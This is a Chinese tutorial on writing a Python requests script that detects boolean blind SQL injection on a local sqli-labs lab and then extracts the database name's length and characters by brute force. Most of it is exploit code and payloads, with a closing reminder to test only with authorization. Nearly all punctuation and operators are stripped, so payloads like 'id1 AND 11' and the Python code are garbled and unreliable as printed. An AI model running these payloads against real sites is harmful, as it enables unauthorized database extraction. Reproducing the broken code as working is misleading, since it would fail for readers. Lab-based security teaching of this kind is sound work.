用Python requests库5分钟打造SQL注入检测工具从手工测试到自动化POC的实战跨越当你第一次听说POC这个词时是不是感觉它像某种神秘的黑客咒语其实揭开这层神秘面纱后你会发现它不过是把你在浏览器里反复点击的手工操作用几行代码自动化而已。今天我们就用Python中最简单的requests库带你完成从手工测试菜鸟到自动化POC编写者的关键一跃。1. 为什么你需要从手工测试升级到POC在安全测试的初级阶段我们往往习惯于在浏览器地址栏不断修改参数或者用Burp Suite重复发送几乎相同的请求。这种手工方式存在三个致命缺陷效率低下每次修改参数都需要手动操作测试10个参数就要重复10次相同动作容易遗漏人工判断响应结果时细微的差异可能被忽视不可复用今天的测试成果无法直接用于明天的其他项目POC概念验证的本质就是把你的手工测试流程转化为可重复执行的代码。想象一下当你发现某个SQL注入漏洞后只需运行一个脚本就能自动验证所有类似的接口——这就是POC带来的效率革命。初学者常见误区认为POC必须完美无缺才能开始写。实际上就像学游泳必须先下水一样POC编写的最佳方式是先做出最小可行版本再逐步完善。2. 环境准备5分钟快速搭建实验靶场在开始编写代码前我们需要一个安全的实验环境。推荐使用经典的sqli-labs靶场它专为SQL注入学习设计包含从易到难的各种注入场景。2.1 安装Docker版sqli-labs如果你已经安装Docker只需一行命令即可启动靶场docker run -d -p 80:80 --name sqli-labs acgpiano/sqli-labs启动后访问http://localhost/Less-1/即可看到第一关的界面。今天我们以第8关布尔盲注为例因为它最能体现自动化检测的价值。2.2 手工测试理解漏洞原理在编写POC前先手工测试理解漏洞特征访问http://localhost/Less-8/?id1观察页面变化尝试构造真/假条件真条件id1 and 11 --应返回正常页面假条件id1 and 12 --应返回异常页面这种基于布尔逻辑的响应差异正是我们编写检测脚本的基础。3. 从零编写你的第一个POC脚本现在进入核心环节——用Python的requests库将手工测试自动化。我们会分三步实现一个基础但完整的布尔盲注检测工具。3.1 基础检测逻辑实现创建一个新文件bool_blind_poc.py写入以下代码import requests TARGET_URL http://localhost/Less-8/ PAYLOAD_TRUE ?id1 AND 11 -- # 恒真条件 PAYLOAD_FALSE ?id1 AND 12 -- # 恒假条件 def check_vulnerability(): # 发送真条件请求 response_true requests.get(TARGET_URL PAYLOAD_TRUE) # 发送假条件请求 response_false requests.get(TARGET_URL PAYLOAD_FALSE) # 对比响应差异 if response_true.status_code 200 and response_false.status_code 200: if len(response_true.content) ! len(response_false.content): print([] 漏洞存在布尔盲注检测成功) else: print([-] 未检测到明显的布尔响应差异) else: print([!] 请求异常请检查目标是否可用) if __name__ __main__: check_vulnerability()这个脚本实现了最基本的检测逻辑分别发送真/假条件请求对比响应内容的长度差异根据差异判断漏洞存在性3.2 添加参数化设计为了让脚本更具通用性我们改进为接受外部参数import requests import argparse def check_vulnerability(target_url, param_name): payload_true f?{param_name}1 AND 11 -- payload_false f?{param_name}1 AND 12 -- try: response_true requests.get(target_url payload_true) response_false requests.get(target_url payload_false) if response_true.status_code 200 and response_false.status_code 200: return len(response_true.content) ! len(response_false.content) except Exception as e: print(f[!] 请求发生错误: {str(e)}) return False if __name__ __main__: parser argparse.ArgumentParser(descriptionSQL注入布尔盲注检测工具) parser.add_argument(-u, --url, requiredTrue, help目标URL) parser.add_argument(-p, --param, requiredTrue, help测试参数名) args parser.parse_args() if check_vulnerability(args.url, args.param): print(f[] {args.url} 存在SQL注入漏洞参数{args.param}) else: print(f[-] {args.url} 未检测到SQL注入)现在你可以这样使用脚本python bool_blind_poc.py -u http://localhost/Less-8/ -p id3.3 响应差异的智能判断基础的响应长度对比有时不够准确我们引入更智能的差异检测from difflib import SequenceMatcher def response_similarity(resp1, resp2): 计算两个响应的相似度0-1 return SequenceMatcher(None, resp1.text, resp2.text).ratio() def check_vulnerability(target_url, param_name): # ...保持之前的请求代码 similarity response_similarity(response_true, response_false) return similarity 0.9 # 相似度低于90%认为存在漏洞这种方法通过文本相似度比较能更准确地识别微妙的响应差异。4. POC进阶从检测到信息获取基础的漏洞检测只是开始真正的POC应该能够获取有价值的信息。我们扩展脚本实现数据库名探测功能。4.1 探测数据库名长度def get_dbname_length(target_url, param_name): 通过二分法探测数据库名长度 low, high 1, 30 # 假设长度不超过30 normal_response requests.get(target_url f?{param_name}1).text while low high: mid (low high) // 2 payload f?{param_name}1 AND LENGTH(DATABASE()){mid} -- response requests.get(target_url payload).text if response normal_response: low mid 1 else: high mid - 1 return low4.2 逐字符爆破数据库名import string def get_dbname(target_url, param_name, length): 爆破数据库名 dbname chars string.ascii_lowercase string.digits _ normal_response requests.get(target_url f?{param_name}1).text for i in range(1, length1): for char in chars: payload f?{param_name}1 AND SUBSTRING(DATABASE(),{i},1){char} -- if requests.get(target_url payload).text normal_response: dbname char break return dbname使用方式db_length get_dbname_length(TARGET_URL, id) print(f数据库名长度: {db_length}) db_name get_dbname(TARGET_URL, id, db_length) print(f数据库名: {db_name})5. 生产环境POC的优化方向当你掌握了基础POC编写后还需要考虑以下优化点使脚本更适合真实场景性能优化表优化方向具体措施效果提升并发请求使用requests.Session()或aiohttp减少TCP连接开销智能检测结合正则和统计学方法提高检测准确率错误处理添加超时、重试机制增强稳定性结果输出支持JSON/CSV格式便于集成到其他工具安全注意事项始终在授权范围内测试添加适当的请求延迟避免对目标造成压力敏感操作前添加确认提示在真实项目中你可能会选择成熟的POC框架如Pocsuite3但理解底层原理能让你更好地使用和定制这些框架。记住每个专家都是从第一个简单的脚本开始的——你今天写的这几行代码可能就是通往专业安全研究之路的第一步。